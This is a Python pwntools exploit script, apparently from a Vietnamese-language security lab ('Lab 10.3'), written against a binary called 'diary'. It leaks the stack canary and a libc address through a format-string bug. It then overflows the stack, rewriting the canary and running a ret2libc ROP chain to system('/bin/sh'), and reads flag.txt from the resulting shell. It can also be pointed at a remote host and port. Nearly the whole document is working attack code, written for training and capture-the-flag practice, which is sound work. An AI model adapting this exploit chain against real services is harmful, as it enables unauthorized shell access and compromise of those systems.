#!/usr/bin/env python3
# Lab 10.3 - do an cuoi. Single-shot: 1 lan chay, 2 bug.
#   BUG 1 (format string): leak canary + dia chi libc cua puts.
#   BUG 2 (overflow): ghi lai dung canary roi ret2libc system("/bin/sh").
# Chay voi ASLR BAT, canary BAT. Da kiem Ubuntu 24.04.4 / glibc 2.39 / gcc 13.3.
#
# Chay local:  ./exploit.py
# Chay remote: ./exploit.py REMOTE HOST=1.2.3.4 PORT=1337
import time
from pwn import *

context.binary = elf = ELF('./diary')
context.log_level = 'info'

# Bai CTF that se cho kem libc cua de -> doi dong nay sang ELF('./libc.so.6').
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def conn():
    if args.REMOTE:
        return remote(args.HOST, int(args.PORT))
    return process('./diary')

io = conn()

# ---- Vi tri da do truoc (objdump + probe %p) ----
#   buf tai rbp-0x90. Input bat dau o positional index 8 (%8$p = buf+0).
#   canary tai rbp-8 = buf+136 -> index 8 + 136/8 = 25 -> %25$p.
#   de leak libc: dat con tro puts@got tai buf+24 = index 11 -> %11$s.
OFF_RIP    = 152     # buf -> saved RIP (0x90 + 8)
OFF_CANARY = 136     # buf -> canary  (0x90 - 8)
puts_got   = elf.got['puts']

# ---------- Giai doan 1: LEAK canary + libc qua format string ----------
io.recvuntil(b'> ')
# Format: in canary (%25$p), moc "ENDC", roi %11$s deref con tro tai buf+24.
# 14 ky tu format, dem 'a' cho du 24 byte, roi nhet p64(puts@got) vao buf+24.
fmt = b'%25$pENDC%11$s'
payload1 = fmt.ljust(24, b'a') + p64(puts_got)
io.sendline(payload1)

io.recvuntil(b'Chao ')
line = io.recvline()
canary_hex, rest = line.split(b'ENDC', 1)
canary = int(canary_hex, 16)
puts_libc = u64(rest[:6].ljust(8, b'\x00'))   # %s in 6 byte co nghia cua dia chi puts
log.success('canary      = %#x', canary)
log.success('puts @ libc = %#x', puts_libc)
assert canary & 0xff == 0, 'canary phai tan cung byte 00'

libc.address = puts_libc - libc.sym['puts']
log.success('libc base   = %#x', libc.address)
assert libc.address & 0xfff == 0, 'base phai can trang -> sai libc version / leak hong?'

# ---------- Giai doan 2: overflow ghi dung canary -> ret2libc ----------
rop = ROP([elf, libc])
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret     = rop.find_gadget(['ret'])[0]
binsh   = next(libc.search(b'/bin/sh\x00'))
system  = libc.sym['system']
log.info('pop rdi ; ret = %#x', pop_rdi)
log.info('system        = %#x', system)
log.info('/bin/sh       = %#x', binsh)

io.recvuntil(b'> ')
payload2 = flat(
    b'A' * OFF_CANARY,
    canary,                 # ghi lai dung canary -> qua __stack_chk_fail
    b'B' * 8,               # saved rbp (rac)
    ret,                    # can alignment 16 byte cho system (movaps)
    pop_rdi, binsh,
    system,
)
io.send(payload2)

# Cho read(400) nuot xong payload2 va spawn /bin/sh truoc khi gui lenh (race voi read).
time.sleep(0.5)

io.sendline(b'echo ===PWNED_10_3===; id; cat flag.txt; echo ===END===')
io.sendline(b'exit')
out = io.recvall(timeout=5).decode(errors='replace')
print(out)
assert 'uid=' in out and 'FLAG{' in out, 'FAIL: khong lay duoc shell / flag'
log.success('10.3 OK: fmtstr leak canary+libc -> ret2libc -> shell + flag')